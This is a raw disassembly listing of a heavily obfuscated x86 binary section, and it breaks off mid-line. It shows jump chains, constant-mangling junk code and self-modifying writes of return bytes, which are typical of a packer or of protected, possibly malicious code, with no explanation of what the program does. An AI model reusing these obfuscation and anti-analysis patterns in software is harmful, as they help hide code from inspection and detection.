sub_44867D loc_43E177: ; CODE XREF: y22d6.y.:00439DA4j mov [ecx], eax pop ecx push offset sub_43BA24 jmp nullsub_366 sub_43E165 endp ; --------------------------------------------------------------------------- loc_43E184: ; CODE XREF: y22d6.y.:0044954Fj pushf ; =============== S U B R O U T I N E ======================================= sub_43E185 proc near ; CODE XREF: sub_442770:loc_43871Fp var_10 = dword ptr -10h var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 00437188 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00437B30 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043858A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00438ABA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00438EF1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439252 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043953F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00439DD9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043B296 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00441F2E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00442CA1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00443FAB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444A7D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004456E0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00445933 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00445A93 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448E13 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044919A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044AEA0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DA63 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044E4B8 SIZE 00000010 BYTES xchg eax, [esp+0] pop eax add ebx, ebp add ebx, 711DEC79h jmp loc_438EF1 sub_43E185 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43E196 proc near ; DATA XREF: sub_439051+96FDo call sub_4481AF mov ds:dword_4413E8, eax call sub_43E7D1 loc_43E1A5: ; CODE XREF: y22d6.y.:0043DE70j ; y22d6.y.:loc_449CE5j jmp sub_43DA5D sub_43E196 endp ; --------------------------------------------------------------------------- loc_43E1AA: ; CODE XREF: y22d6.y.:0043F4ABj mov [edx], eax ror edi, 0Ch ; START OF FUNCTION CHUNK FOR sub_44B27F loc_43E1AF: ; CODE XREF: sub_44B27F-BDE1j call sub_448D3D loc_43E1B4: ; CODE XREF: sub_44E63C-74C7j pushf xchg ecx, ebx jbe sub_44540D jmp loc_44BFB9 ; END OF FUNCTION CHUNK FOR sub_44B27F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_43E1C3: ; CODE XREF: sub_43B98D+AB7Ej jmp loc_442215 ; END OF FUNCTION CHUNK FOR sub_43B98D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43E1C9: ; CODE XREF: y22d6.y.:0044DC36j xor edx, 0E108ADA5h jns loc_4452F2 jl loc_4404EC loc_43E1DB: ; CODE XREF: y22d6.y.:loc_43D5DAj push 17A51968h pop eax sub eax, 0C94D40FBh jmp loc_43B4FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43E1EC: ; CODE XREF: sub_448EB6:loc_44040Aj add eax, 0D47BFFDh loc_43E1F2: ; CODE XREF: sub_4398FF:loc_43991Aj push ebx push eax pop ebx jmp loc_449DA7 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_43E1FA: ; CODE XREF: y22d6.y.:0043E118j xor ecx, 60BD6060h or ecx, 0B61367A6h rol ecx, 0Ch add ecx, 80C36537h mov [ecx], eax jmp loc_43B8A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B674 loc_43E216: ; CODE XREF: sub_44B674:loc_442AA6j jnz loc_444ECD jmp loc_438527 ; END OF FUNCTION CHUNK FOR sub_44B674 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B81B loc_43E221: ; CODE XREF: sub_44B81B+6j xchg ebx, [esp-4+arg_0] mov edx, ebx pop ebx loc_43E227: ; CODE XREF: sub_43A3A9:loc_44D546j mov eax, [esp-8+arg_4] push edx push esi jmp loc_43737F ; END OF FUNCTION CHUNK FOR sub_44B81B ; --------------------------------------------------------------------------- locret_43E231: ; CODE XREF: y22d6.y.:004471B4j retn ; --------------------------------------------------------------------------- loc_43E232: ; CODE XREF: y22d6.y.:0044DEC8j jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C222 loc_43E237: ; CODE XREF: sub_44C222+Cj jmp loc_43C349 ; END OF FUNCTION CHUNK FOR sub_44C222 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_43E23C: ; CODE XREF: sub_4450FD+7582j jb loc_44C0B2 mov [esi], ebp jmp loc_44DEEB ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- push eax ; START OF FUNCTION CHUNK FOR sub_43F501 loc_43E24A: ; CODE XREF: sub_43F501:loc_443E32j ror eax, 0Eh push edx push 0E19F5B4h pop edx jmp loc_43B7E0 ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_43E259: ; CODE XREF: sub_43B09B:loc_43A6F3j or ebx, 0B39D859Eh not eax popf sbb edi, 80E952F0h jmp loc_44401F ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_43E26D: ; CODE XREF: sub_43C7C1:loc_4401F0j jnz loc_437223 cdq jbe loc_43F081 js loc_443D1D jmp loc_437222 ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CC1A loc_43E285: ; CODE XREF: sub_43CC1A:loc_43E482j or edx, edx jz nullsub_143 loc_43E28D: ; CODE XREF: sub_43CC1A+727Dj ; sub_44808E+4j jno loc_44809D push eax push 0 jmp loc_44D1D1 ; END OF FUNCTION CHUNK FOR sub_43CC1A ; --------------------------------------------------------------------------- cdq jmp loc_43D5B8 ; --------------------------------------------------------------------------- push 0FFFFFFFFh call sub_4414E8 loc_43E2A8: ; CODE XREF: y22d6.y.:00444124j jmp loc_441678 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D8E0 loc_43E2AD: ; CODE XREF: sub_43D8E0+Fj jmp nullsub_364 ; END OF FUNCTION CHUNK FOR sub_43D8E0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43E2B3: ; CODE XREF: y22d6.y.:004480D0j jmp loc_439376 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_43E2B8: ; CODE XREF: sub_444427-256Ej jmp loc_43DDBB ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- loc_43E2BD: ; CODE XREF: y22d6.y.:00439343j jmp loc_448813 ; --------------------------------------------------------------------------- or edx, ebp jmp sub_44370B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445362 loc_43E2C9: ; CODE XREF: sub_445362-618Bj shr eax, 7 test eax, ebx jmp loc_4479B3 ; END OF FUNCTION CHUNK FOR sub_445362 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43E2D3: ; CODE XREF: sub_448EB6+25Aj push 6E963A38h pop eax and eax, 8734EF37h add eax, 0F8773923h xor eax, 883A5739h jmp loc_438724 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_43E2F0: ; CODE XREF: sub_44A359-434Bj mov edx, [ecx] loc_43E2F2: ; CODE XREF: sub_4432B8:loc_439B96j ; sub_44A359:loc_440913j ... jmp loc_44E5C8 ; --------------------------------------------------------------------------- loc_43E2F7: ; CODE XREF: y22d6.y.:loc_439A43j ; sub_44A359:loc_43F152j ... pop ecx pop ebp jmp loc_4426B5 ; --------------------------------------------------------------------------- loc_43E2FE: ; CODE XREF: y22d6.y.:00440B2Aj ; sub_445141+2EE3j ... sub eax, 52013D64h push offset loc_43FF4B jmp loc_4410F9 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_43E30E: ; CODE XREF: sub_437FD8:loc_441949j cmp al, 0A4h jz loc_447EBA jmp loc_44E1FC ; END OF FUNCTION CHUNK FOR sub_437FD8 ; =============== S U B R O U T I N E ======================================= sub_43E31B proc near ; CODE XREF: y22d6.y.:0043A6AEj ; sub_43C55B+8759p ... xchg edx, [esp+0] pop edx mov edx, [ebp-4] imul byte ptr [edx] call sub_447D7F loc_43E329: ; CODE XREF: sub_44374A-1279j jmp nullsub_32 sub_43E31B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C59C loc_43E32E: ; CODE XREF: sub_44C59C-1288Fj jmp loc_4409C3 ; END OF FUNCTION CHUNK FOR sub_44C59C ; --------------------------------------------------------------------------- jmp ds:off_41E01C ; --------------------------------------------------------------------------- loc_43E339: ; CODE XREF: y22d6.y.:00445BB9j jmp loc_442F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44807C loc_43E33E: ; CODE XREF: sub_44807C-10392j jmp loc_437758 ; END OF FUNCTION CHUNK FOR sub_44807C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43E343: ; CODE XREF: sub_44B489:loc_4401F5j ; sub_449641:loc_443EECj ... xchg edi, [esp+8+var_8] mov edx, edi pop edi jns loc_439B6D mov eax, [esp+4+var_4] jmp loc_442ACC ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- rol eax, 16h xor eax, 4A70CD9Fh ; START OF FUNCTION CHUNK FOR sub_447BB2 loc_43E360: ; CODE XREF: sub_447BB2:loc_442827j push edi push 50F1E5B1h jmp loc_44184C ; END OF FUNCTION CHUNK FOR sub_447BB2 ; =============== S U B R O U T I N E ======================================= sub_43E36B proc near ; DATA XREF: sub_449641-F8B6o add edx, 1BB7DCF2h xchg edx, [esp+0] jmp sub_43EF0B sub_43E36B endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44731A loc_43E37A: ; CODE XREF: sub_44731A-988Dj jmp nullsub_92 ; END OF FUNCTION CHUNK FOR sub_44731A ; --------------------------------------------------------------------------- db 8Dh dword_43E380 dd 0 ; DATA XREF: sub_44A359:loc_439EF9r ; sub_445141+2EDDw ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446F34 loc_43E384: ; CODE XREF: sub_446F34-5800j jmp loc_44AD9F ; END OF FUNCTION CHUNK FOR sub_446F34 ; =============== S U B R O U T I N E ======================================= sub_43E389 proc near ; CODE XREF: sub_401000+335p ; sub_401000+3B7p ... call sub_43E39E jmp ds:off_41E0E0 sub_43E389 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43E394: ; CODE XREF: sub_449641-BB06j jmp loc_43F6DA ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43E399: ; CODE XREF: sub_448EB6-11D94j jmp loc_44D746 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_43E39E proc near ; CODE XREF: sub_43E389p sub_444AD7+7j ... ; FUNCTION CHUNK AT 0043728B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004378DE SIZE 0000000E BYTES call sub_447896 loc_43E3A3: ; CODE XREF: sub_4432B8:loc_4494B9j push 7AB2C421h pop ecx sub ecx, 0B845035Ch rol ecx, 1Ah cmp ecx, 78D665Ah jmp loc_43728B sub_43E39E endp ; =============== S U B R O U T I N E ======================================= sub_43E3BD proc near ; CODE XREF: y22d6.y.:00438ED5p ; y22d6.y.:0044A026j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043BE24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004409E2 SIZE 00000012 BYTES xchg esi, [esp+0] pop esi push eax mov eax, edx jmp loc_43BE24 sub_43E3BD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_43E3C9: ; CODE XREF: sub_43B252:loc_44CDEBj rol ebp, 0Ah jns loc_444689 sbb ebp, 4DED961Ch jmp loc_4378A1 ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43E3DD: ; CODE XREF: sub_448EB6:loc_4445B8j jz loc_439AF8 jmp loc_44A265 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB3E loc_43E3E8: ; CODE XREF: sub_44DB3E+Cj pop ecx push edi pushf push 0E1E9F6EDh pop edi jmp loc_439159 ; END OF FUNCTION CHUNK FOR sub_44DB3E ; --------------------------------------------------------------------------- loc_43E3F6: ; CODE XREF: y22d6.y.:0044CC88j jbe loc_449D55 add esi, 16C660Ch xchg esi, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- mov ds:dword_41E0EC, eax lea eax, nullsub_358 mov byte ptr [eax], 0C3h jmp nullsub_358 ; --------------------------------------------------------------------------- push ebx jmp loc_4462A2 ; --------------------------------------------------------------------------- loc_43E424: ; DATA XREF: y22d6.y.:00448057o call sub_4435D6 mov edx, ds:dword_4413E8 mov ebx, [edx] sub ebx, eax mov ecx, [ebp-4] push 52097CB0h jmp loc_440257 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43E440: ; CODE XREF: sub_44BCC2:loc_44200Bj xchg edx, [esp+8+var_8] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- loc_43E448: ; CODE XREF: y22d6.y.:0044E0BEj shr ebp, 11h ; START OF FUNCTION CHUNK FOR sub_43B566 loc_43E44B: ; CODE XREF: sub_43B566:loc_44E0ABj sub edi, 19695D84h add edi, 0EBEC35FDh add edi, ebp add edi, 76B677CBh push offset loc_443D3C jmp sub_44845A ; END OF FUNCTION CHUNK FOR sub_43B566 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CC1A loc_43E469: ; CODE XREF: sub_43CC1A+13j rol edx, 16h and edx, 0A1194860h rol edx, 0Ah xor edx, 4ED60A22h add edx, ebp call sub_44CBBE loc_43E482: ; CODE XREF: sub_44B003+8j jmp loc_43E285 ; END OF FUNCTION CHUNK FOR sub_43CC1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B035 loc_43E487: ; CODE XREF: sub_43B035+7j jmp loc_43D840 ; END OF FUNCTION CHUNK FOR sub_43B035 ; =============== S U B R O U T I N E ======================================= sub_43E48C proc near ; CODE XREF: y22d6.y.:0043EEA1j ; y22d6.y.:00446F9Ap var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043A616 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00449AF2 SIZE 0000001F BYTES xchg esi, [esp+0] pop esi push esi mov esi, edx xchg esi, [esp+0] jmp loc_43A616 sub_43E48C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439096 loc_43E49B: ; CODE XREF: sub_439096:loc_43E89Cj pop edi xor edi, 4B9AA703h cmp edi, 0F45C2098h jmp loc_440482 ; END OF FUNCTION CHUNK FOR sub_439096 ; --------------------------------------------------------------------------- loc_43E4AD: ; CODE XREF: y22d6.y.:004393A0j ; y22d6.y.:00448B54j add eax, 7C4FB49Bh push edx push 0FB9A82ECh pop edx jmp loc_43D1EB ; --------------------------------------------------------------------------- call sub_43E953 xor eax, eax retn ; --------------------------------------------------------------------------- loc_43E4C7: ; DATA XREF: sub_43DA5D+B232o push edx jmp loc_4442FA ; --------------------------------------------------------------------------- loc_43E4CD: ; CODE XREF: y22d6.y.:loc_43B4EDj sub edi, 0EE2C1B35h jns loc_442C72 ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43E4D9: ; CODE XREF: sub_448EB6-4539j jmp loc_440F7E ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B9F3 loc_43E4DE: ; CODE XREF: sub_43B9F3+5ACCj jmp loc_4461EF ; END OF FUNCTION CHUNK FOR sub_43B9F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_43E4E3: ; CODE XREF: sub_4452EE-C507j jmp loc_43B81D ; END OF FUNCTION CHUNK FOR sub_4452EE ; --------------------------------------------------------------------------- and ecx, 414B0020h rol ebx, 12h jmp loc_442C72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43E4F6: ; CODE XREF: sub_448EB6:loc_439237j jz loc_4422D0 jmp loc_44D3A7 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- or ebp, 0DAC46473h pop edi jmp sub_438E7B ; --------------------------------------------------------------------------- loc_43E50D: ; DATA XREF: y22d6.y.:0043E669o add eax, 0C1BD076Bh add eax, ebp add eax, 3628EC64h mov eax, [eax] xchg eax, [esp] jmp loc_44C1FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4410E0 loc_43E525: ; CODE XREF: sub_4410E0:loc_43AB90j ror ecx, 6 adc eax, ebp adc ebp, 0C47252D4h adc esi, edx jmp loc_440FBE ; END OF FUNCTION CHUNK FOR sub_4410E0 ; --------------------------------------------------------------------------- loc_43E537: ; CODE XREF: y22d6.y.:00437FA7j pop ecx add eax, 0A8B2EB4Bh and eax, 85D98068h add eax, 9F4D0EA0h call sub_43CA1A mov ds:off_41E14C, eax lea eax, loc_440320 jmp loc_44D75D ; --------------------------------------------------------------------------- loc_43E560: ; CODE XREF: y22d6.y.:loc_445718j test eax, 80000000h jmp loc_44CF9A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447C6F loc_43E56B: ; CODE XREF: sub_447C6F-5C7Cj mov edx, [ebp+8] jmp loc_44D9F0 ; END OF FUNCTION CHUNK FOR sub_447C6F ; --------------------------------------------------------------------------- loc_43E573: ; CODE XREF: y22d6.y.:loc_43B51Fj cmp dword ptr [ebp-10h], 0 jnz loc_44D9F8 mov eax, [ebp+8] push eax cmp dword ptr [ebp-14h], 6 setz al call sub_443954 jmp loc_44D9E9 ; --------------------------------------------------------------------------- loc_43E592: ; DATA XREF: sub_44B1D2+1F92o lea eax, loc_44C4D2 mov byte ptr [eax], 0C3h jmp loc_449D5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBF3 loc_43E5A0: ; CODE XREF: sub_43CBF3:loc_44C4D2j pop edx mov eax, [esp+0] push edx loc_43E5A5: ; CODE XREF: sub_448EB6:loc_438D00j mov edx, ebp xchg edx, [esp+4+var_4] push edx jmp loc_43C21F ; END OF FUNCTION CHUNK FOR sub_43CBF3 ; =============== S U B R O U T I N E ======================================= sub_43E5B0 proc near ; CODE XREF: sub_43A9C6+3E90p ; sub_448EB6+240j xchg ecx, [esp+0] pop ecx lea eax, sub_43A9C6 mov byte ptr [eax], 0C3h jmp sub_43A9C6 sub_43E5B0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43E5C2 proc near ; CODE XREF: .text:0040DFE6p ; sub_412464+15p ; DATA XREF: ... ; FUNCTION CHUNK AT 00438D8C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043A2E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AA5D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043ACD6 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0043CB4B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 004414D8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00441A4A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443A7C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004445F7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044548F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0044A6EF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044DC3B SIZE 0000000C BYTES jo loc_4414D8 jmp loc_438D8C sub_43E5C2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edi, 5C54CBF1h test edx, 0E6CD56D6h jmp loc_439E4E ; --------------------------------------------------------------------------- loc_43E5DD: ; CODE XREF: y22d6.y.:0043E6F5j and ecx, 630E3C2Ch ; START OF FUNCTION CHUNK FOR sub_437712 loc_43E5E3: ; CODE XREF: sub_437712+6FC9j rol edi, 18h or edi, 0E359169Eh add edi, 18EAFB40h xchg edi, [esp+0] jmp sub_43AD94 ; END OF FUNCTION CHUNK FOR sub_437712 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449956 loc_43E5FA: ; CODE XREF: sub_449956:loc_442ABCj push eax call sub_438399 loc_43E600: ; CODE XREF: y22d6.y.:0043DE4Ej add ebx, ebp ; END OF FUNCTION CHUNK FOR sub_449956 ; =============== S U B R O U T I N E ======================================= sub_43E602 proc near ; CODE XREF: sub_4435D6+Cp xchg edi, [esp+0] pop edi add eax, 7C1DBFEAh retn sub_43E602 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_43E60E: ; CODE XREF: sub_43B98D+C84Bj jmp loc_443EAE ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447268 loc_43E613: ; CODE XREF: y22d6.y.:0043BB55j ; sub_447268:loc_447E27j jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_447268 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_304. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- adc esi, 947EA80h jmp loc_446F4C ; --------------------------------------------------------------------------- loc_43E624: ; CODE XREF: y22d6.y.:00439DF5j pop ebp ; =============== S U B R O U T I N E ======================================= sub_43E625 proc near ; CODE XREF: sub_4432B8:loc_43969Cp xchg edi, [esp+0] pop edi mov [edx], eax pop edx lea eax, nullsub_10 jmp loc_43BF56 sub_43E625 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43E637: ; CODE XREF: sub_44B17B+64Cj jnz loc_440A2F jmp loc_4483DB ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_43E642: ; CODE XREF: sub_438B66+CEE5j jb loc_43863C jmp loc_44DD48 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- loc_43E64D: ; CODE XREF: y22d6.y.:00447719j pushf loc_43E64E: ; CODE XREF: y22d6.y.:loc_44A203j push eax lea eax, loc_444574 push eax jmp loc_437D5C ; --------------------------------------------------------------------------- loc_43E65B: ; CODE XREF: y22d6.y.:00440024j mov edx, [eax] loc_43E65D: ; CODE XREF: y22d6.y.:loc_440013j xor eax, 0B2213665h and eax, 0A81E3E73h push offset loc_43E50D jmp loc_44A78E ; --------------------------------------------------------------------------- loc_43E673: ; CODE XREF: y22d6.y.:0044087Dj push ecx push 3117C5DFh pop ecx or ecx, 0A9CED7F4h add ecx, 46641FD1h mov [ecx], edx jmp loc_43B347 ; --------------------------------------------------------------------------- loc_43E68D: ; CODE XREF: y22d6.y.:004414ABj add ebp, edi loc_43E68F: ; CODE XREF: y22d6.y.:loc_4414A3j xor eax, 0B139A0Ch cmp eax, 87B12BF5h jmp loc_4463DA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FE3B loc_43E6A1: ; CODE XREF: sub_43FE3B+13j jmp loc_44D518 ; END OF FUNCTION CHUNK FOR sub_43FE3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_43E6A6: ; CODE XREF: sub_44E5C7-4554j jnz loc_439A53 loc_43E6AC: ; CODE XREF: sub_44E5C7:loc_442CEDj push 694B7246h pop eax add eax, 37D1BFCDh jmp loc_44CD60 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- loc_43E6BD: ; CODE XREF: y22d6.y.:00442C53j rol edx, 1Bh ; =============== S U B R O U T I N E ======================================= sub_43E6C0 proc near ; CODE XREF: sub_43F891:loc_44D4B7p ; FUNCTION CHUNK AT 00440EF1 SIZE 00000018 BYTES xchg ebx, [esp+0] pop ebx push eax push 0B685B8B4h jmp loc_440EF1 sub_43E6C0 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43E6D0: ; CODE XREF: y22d6.y.:00439469j jmp nullsub_118 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437712 loc_43E6D5: ; CODE XREF: sub_437712:loc_43B4B5j xor edi, 1D6B7D75h jnz loc_43E5E3 loc_43E6E1: ; CODE XREF: sub_439C96+F927j jmp loc_43BBF1 ; END OF FUNCTION CHUNK FOR sub_437712 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44364E loc_43E6E6: ; CODE XREF: sub_44364E-9307j jmp loc_43BA54 ; END OF FUNCTION CHUNK FOR sub_44364E ; --------------------------------------------------------------------------- sub esi, edx sbb ecx, ebp jbe loc_444C06 jmp loc_43E5DD ; --------------------------------------------------------------------------- push 72723AC2h pop eax and eax, 4CD2CCB0h xor eax, 0FC219140h push edx jmp loc_447DED ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_296. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448039 loc_43E713: ; CODE XREF: sub_448039+15j jmp loc_44483A ; END OF FUNCTION CHUNK FOR sub_448039 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443BA0 loc_43E718: ; CODE XREF: sub_443BA0+Dj jmp nullsub_116 ; END OF FUNCTION CHUNK FOR sub_443BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4392B0 loc_43E71D: ; CODE XREF: sub_4392B0:loc_43C6EAj jnz loc_43FB15 call sub_44A320 mov edx, 0E5254649h call sub_449739 mov ds:dword_441954, eax jmp loc_44A30C ; --------------------------------------------------------------------------- loc_43E73C: ; CODE XREF: sub_4392B0+4j cmp ds:dword_441954, 0 jnz loc_43FB15 call sub_44A320 jmp loc_43C420 ; END OF FUNCTION CHUNK FOR sub_4392B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B878 loc_43E753: ; CODE XREF: sub_43B878:loc_44164Cj popf push ebx loc_43E755: ; CODE XREF: sub_44B17B:loc_43D7EAj mov ebx, eax xchg ebx, [esp+0] jmp loc_44868C ; END OF FUNCTION CHUNK FOR sub_43B878 ; --------------------------------------------------------------------------- test edi, ecx jmp loc_4441CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B0EE loc_43E766: ; CODE XREF: sub_43B0EE:loc_43FF51j mov esp, ebp pop ebp mov eax, ds:dword_440354 or eax, eax jnz loc_441930 jmp loc_44CF5F ; END OF FUNCTION CHUNK FOR sub_43B0EE ; =============== S U B R O U T I N E ======================================= sub_43E77C proc near ; CODE XREF: y22d6.y.:0043A082j ; sub_44AEDA-10898p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00448399 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg ebx, [esp-4+arg_0] push offset loc_439335 jmp loc_448399 sub_43E77C endp ; --------------------------------------------------------------------------- or eax, ecx jmp sub_44BAC8 ; --------------------------------------------------------------------------- loc_43E794: ; CODE XREF: y22d6.y.:loc_4473B3j add esi, 0EF86C4B9h xor eax, esi pop esi rol eax, 1Eh push esi push 0FE96024Eh jmp loc_44B743 ; --------------------------------------------------------------------------- mov ds:off_41E034, eax lea eax, sub_44E242 mov byte ptr [eax], 0C3h jmp loc_448605 ; =============== S U B R O U T I N E ======================================= sub_43E7BF proc near ; CODE XREF: sub_40158F+17Ap ; y22d6.y.:00447E41j ; DATA XREF: ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437172 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043877B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043C68A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00440CD3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00444929 SIZE 00000005 BYTES ; FUNCTION CHUNK 